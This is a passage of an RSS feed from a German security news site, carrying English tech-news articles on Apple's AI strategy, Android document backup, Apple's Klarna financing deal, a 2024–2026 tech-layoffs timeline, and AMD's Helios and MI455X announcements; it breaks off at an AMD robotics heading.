<![CDATA[Team IT Security - 📰 Alle Kategorien]]> de-DE Tue, 28 Jul 2026 19:22:52 +0200 Tue, 28 Jul 2026 19:22:52 +0200 15 2026 Team IT Security lakandor@tsecurity.de (Horus Sirius) lakandor@tsecurity.de (Horus Sirius) IT Security Cybersecurity Nachrichten Team IT Security RSS Generator v2.0 https://tsecurity.de/favicon.ico <![CDATA[Team IT Security - 📰 Alle Kategorien]]> <![CDATA[Apple could ‘run the table’ on AI if it does things right]]> https://tsecurity.de/de/3694780/ai-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/ https://tsecurity.de/de/3694780/ai-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/ Sat, 25 Jul 2026 19:50:13 +0200 🔧 AI Nachrichten tsecurity.de

Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.

Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to help users get things done through Siri AI.

Apple also offers limited capacity for more complex tasks through Private Cloud Compute, and, in partnership with the likes of Google in the US and Alibaba in China, the company is giving users a trusted conduit through which to access even more sophisticated AI services. 

Deeply deployable

Critics can say it took Apple a long time to get to this point, but they also seem to think the company has finally got the mix right with its series 27 operating systems. Arriving late to a party doesn’t mean you won’t shine once you get there.

Apple is also coming up the inside lane around frontier AI, with iterative OS and hardware enhancements that mean its devices become increasingly effective for Edge AI use cases, on device — no cloud service required.

The company appears to be digging down into those use cases. Mark Gurman at Bloomberg recently predicted that future M7 Ultra Macs will support as much as 1.5TB RAM, making these systems more than capable of running full weight frontier models in people’s offices, colleges, and homes. 

While that does assume the AI-flationary memory market can supply that much RAM at prices humans can afford, it is also true that people are already running AI clusters using off-the-shelf Mac minis networked over Thunderbolt cables. It’s no stretch to believe this will continue to be the case, and that it will even broaden as the power/performance offered at the high end grows.

What’s wrong with good enough?

When combined with open AI stacks, particularly newly emerging varieties, Apple’s platforms should become leading contenders for private AI services and edge AI. Many business users will leap at the chance to offer their workers powerful, self-hosted, private AI services using one or more daisy-chained Mac Studios or Mac minis. The recent craze in deployment of both Macs to support OpenClaw instances shows they already are.

Ultimately, these different slices of momentum mean I agree with investor Jason Calacanis that Apple is in position to apply a great deal of pressure on OpenAI and Claude just by putting models on their devices. 

It’s also worth thinking about how people use AI today. How many of the queries made in the world right now constitute relatively simple tasks that could be transacted by on-device AI, such as the emerging new version of Apple Intelligence or even smaller LLM models running on device? You can even run PrismML’s 1-bit, 27-billion parameter Bonsai on an iPad using the Locally app, and that’s in the here and now.

What happens? Pretty soon you’ll find people recognize that they can already run the vast majority of their AI-augmented workflows using services they have on their existing device or can access on their on-prem Mac set-ups. And, of course, as people get used to running small tasks locally and larger tasks on premises, the actual space in which they need to turn to cloud-based frontier models will erode. That’s even as companies like PrismML work towards slimming down full-weight models so they don’t need to run on a server at all.

“It’s going to be wild when people have unlimited tokens on their desks,” said Calacanis in a podcast round table discussion.

Who has the most to lose?

The current incarnations of AI felt like they came from nowhere. Most people weren’t aware of the technology until returning to work after the 2022 holiday season. Since then, the industry has proliferated with dozens of competing models, most recently including powerful but affordable frontier models such as Qwen and Kimi.ai.

These models aren’t necessarily all as good as one another, but in many cases for much of what we do, we’ll find them to be good enough. That’s an existential crisis for some, as industry observers now think the inevitable pricing pressure means some services might have over-invested in capacity before finding any way to turn a profit.

Those profit-seeking services are the ones with the most to lose as Apple extends its hardware advantage, democratizing AI access for all while providing platforms suitable for edge AI, on-premises AI, private AI, and even AI access using third-party services. (The need for the latter will shrink as the capabilities of the former get better.)

Cupertino rising

What does this all mean? While the industry remains young, it is already fragmenting. And striding through the dust of that process comes Apple, equipped with the hardware, software, and approach to build its business even as the enterprise of first mover AI services erodes.

You can follow me on social media! Join me on BlueSky,  LinkedIn, Mastodon and subscribe to my daily Apple-related news summaries at The Core.

]]> <![CDATA[Your instant Android backup upgrade]]> https://tsecurity.de/de/3694774/ai-nachrichten/your-instant-android-backup-upgrade/ https://tsecurity.de/de/3694774/ai-nachrichten/your-instant-android-backup-upgrade/ Sat, 25 Jul 2026 19:50:10 +0200 🔧 AI Nachrichten tsecurity.de

Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.

In many areas of our digital life, that mercifully does Just Workℱ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.

One area where seamless syncing somehow still doesn’t occur, though, is in the domain of downloaded documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on that one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.

Well, take a moment to join me in celebration: Amidst all the Gemini gobbledegook that no one asked for (and that often falls somewhere between “pointless” and “actively counterproductive”), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to you to find and activate it.

Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.

All you’ve gotta do is find and flip that one new switch.

[Don’t let yourself miss an ounce of Android Intelligence. Join my free weekly Android Intelligence newsletter and get one new thing to try in your inbox every Friday!]

The Android backup lowdown

So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.

‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.

Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many other areas of important data are also synced on their own at the app level — outside of any system mechanisms.

Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on that one device and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if you go out of your way to find and set up a third-party app to handle the heavy lifting.

That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself
) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.

See?

Android backup documents
The easily overlooked new option for backing up documents on Android.

JR Raphael, Foundry

The option is on its way to all devices running 2018’s Android 9 release and higher. (If you’re still using a phone with an Android version older than that, you’re now a whopping eight years out of date, and you have much bigger problems.)

Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.

Lemme show ya how.

Android’s document backup addition

I promise: This couldn’t be much simpler.

No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)

Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.

However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.

Android backup options
Android’s expanded list of backup options — now including documents alongside other forms of on-device data.

JR Raphael, Foundry

And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.

If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.

Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That does mean they’ll count against your overall Google storage total, so keep an eye on your Drive storage total to make sure you’re in solid shape and look to the Google One storage hub if you ever want some simple suggestions for freeing up space.

Speaking of other Google services: If you ever want to keep other types of locally stored non-document files from an Android device synced and available elsewhere, you can easily rely on Google Photos for syncing screenshots and other images — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific individual on-device folders if you want to sync some but not all of those areas) — and you can still turn to those aforementioned third-party apps for broader syncing of anything else imaginable.

But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on you to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.

Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that that can only be a good thing.

Get practical Android knowledge in your inbox every Friday with my free Android Intelligence newsletter — one new thing to try each week, straight from me to you.

]]> <![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]> https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/ https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/ Sat, 25 Jul 2026 19:50:09 +0200 🔧 AI Nachrichten tsecurity.de

Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.

This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.

Moving closer to hardware-as-a-service

Apple has slowly been transitioning toward hardware-as-a-service for almost a decade. Back then, Forrester analyst Frank Gillet predicted the company would eventually offer bundles of services and products for a monthly, all-in, fee. 

This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.

There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. 

Easy payments for RAM-ageddon

The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has previously rejected these plans to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.

“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by Computerworld. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” 

New age, new shopping habits

The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s good enough for GM, it’s good enough for Apple.

It’s all about attitude, too. From Apple’s perspective, it has done plenty of the groundwork required to convince its customers that subscription payments for things you value are no bad thing. 

Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and CEO Tim Cook — first began banging the drum for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of more than 2.5 billion devices globally.

A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. 

There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but probably can’t afford to own.

Managing future risk

The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but abandoned that plan as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.

You can follow me on social media! Join me on BlueSky,  LinkedIn, Mastodon and subscribe to The Core.

]]> <![CDATA[Tech layoffs: A 2026 timeline]]> https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/ https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/ Sat, 25 Jul 2026 19:50:08 +0200 🔧 AI Nachrichten tsecurity.de

Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.

But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.

According to data compiled by Layoffs.fyi, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.

Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.

Notable tech layoffs in 2026

  • Monday.com
  • Microsoft
  • Meta
  • Cisco
  • Cloudflare
  • Oracle
  • Atlassian
  • Salesforce
  • Amazon
  • Ericsson

July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era

The company says the decision to cut 620 jobs isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.

July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams

As the company trims thousands of jobs, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees voluntary retirement buyouts.

June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024

AI was blamed for 40% of the job cuts in May, up from 7% in January, according to research by employment placement company Challenger, Gray & Christmas.

May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce

The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, according to Yahoo Tech.

May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking

Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will eliminate almost 4,000 jobs.

May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring

About 20% of Cloudflare’s global workforce will be culled as the company pivots for the agentic AI era, Reuters reported.

April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk

Oracle began laying off employees on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. (Note: in June, CNBC put the final layoff tally at 21,000.)

March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion

Atlassian will reduce its global workforce by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.

March 11, 2026: Tech layoffs surpass 45,000 in early 2026

A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing workforce cuts even as many tech companies report strong revenue growth.

February 10, 2026: Salesforce lays off staffers as executive leadership churn continues

Salesforce has reduced close to 1,000 roles earlier this month across teams, including marketing, product management, data analytics, and its Agentforce AI unit, Business Insider reported, quoting employees familiar with the matter.

January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent

As the market slows down, AWS and other Amazon units are preparing for another round of layoffs, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 confirmed 16,000 job cuts.

January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden

 Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, Reuters reports.

January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business

Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, according to The New York Times.

Layoffs in 2025

  • Cisco
  • Oracle
  • Windsurf
  • Intel
  • Microsoft
  • Crowdstrike
  • HPE
  • Autodesk
  • HPE
  • CISA
  • Workday
  • Salesforce
  • Meta

Global tech-sector layoffs surpass 244,000 in 2025

Economic uncertainty, elevated interest rates, and AI adoption have driven workforce reductions across tech companies worldwide, according to a RationalFX report.

October 28, 2025: Amazon to cut 14,000 jobs across company

Amazon will reduce its overall workforce by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.

August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs

Tech companies Cisco and Oracle are cutting hundreds of jobs across the Bay Area. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date 

August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door

Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, reports The Information.

July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’

Intel will reduce its workforce to 75,000 employees by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker

July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs

Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect major layoffs at Intel in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales.

July 2, 2025: Microsoft will cut 9,000 workers

Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut told CNBC.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.

June 17, 2025: Intel looks to factory layoffs to return to profitability

Intel will lay off up to 20% of its manufacturing sector employees starting in July, according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.

May 7, 2025: CrowdStrike to lay off 5% of staff

CrowdStrike announced a plan to cut about 500 roles, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs

March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy

CEO Antonio Neri told Wall Street analysts that HPE would begin implementing a cost-cutting program involving layoffs of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.

Feb. 27, 2025: Autodesk to lay off 9% of workforce

Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, CEO Andrew Anagnost said in a message to employees. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there.

Feb. 27, 2025: HP to lay off 2,000 more

As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by forcing callers to wait for at least 15 minutes if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on.

Feb. 21, 2025: CISA lays off 130

Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.

Feb. 5, 2025: Workday lays off 1,750

As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.

Feb. 4, 2025: Salesforce lays off over 1,000

At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.

Jan. 14, 2025: Meta will lay off 5% of workforce

Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.

Tech layoffs in 2024

  • Equinix
  • AMD
  • Freshworks
  • Cisco
  • General Motors
  • Intel
  • OpenText
  • Microsoft
  • AWS
  • Dell

Nov. 26, 2024: Equinix to cut 3% of staff

Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.

Nov. 13, 2024: AMD to cut 4% of workforce

AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings.

Nov. 7, 2024: Freshworks lays off 660

Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.

Sept. 17, 2024: Cisco lays off 6,000

After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security.

Aug. 20, 2024: General Motors lays off 1,000 software staff

More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.

August 1, 2024: Intel removes 15,000 roles

Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”

July 4, 2024: OpenText to lay off 1,200

OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.

June 4, 2024: Microsoft lays off staff in Azure division

Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.

April 4, 2024: Amazon downsizes AWS in a fresh cost-cutting round

Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “Just Walk Out” technology built for its Amazon Fresh grocery stores.

April 1, 2024: Dell acknowledges 13,000 job cuts

Dell Technologies’ latest 10K filing with the US Securities and Exchange Commission disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.

See news of earlier layoffs.

]]> <![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]> https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/ https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/ Sat, 25 Jul 2026 19:50:07 +0200 🔧 AI Nachrichten tsecurity.de

AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.

AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).

The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  

AMD’s MI455X targets the AI memory wall

The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.

Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.

AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.

AMD Instinct chart showing generational leap in performance

AMD

The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.

The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

AMD’s Helios rack takes aim at Vera Rubin

AMD Helios rack

Dave Altavilla

Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.

In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.

These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.

AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.

While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.

Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.

Kind of like cowbell, AMD Venice gives agentic AI more CPU

Chart showing AMD EPYC CPU performance

AMD

AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.

Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.

Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.

Pensando networking and ROCm software advance

Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.

As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.

On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.

These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.

Customer commitments underscore rack-scale confidence

AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.

Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.

Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.

There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.

AMD expands its robotics and embedded foundation

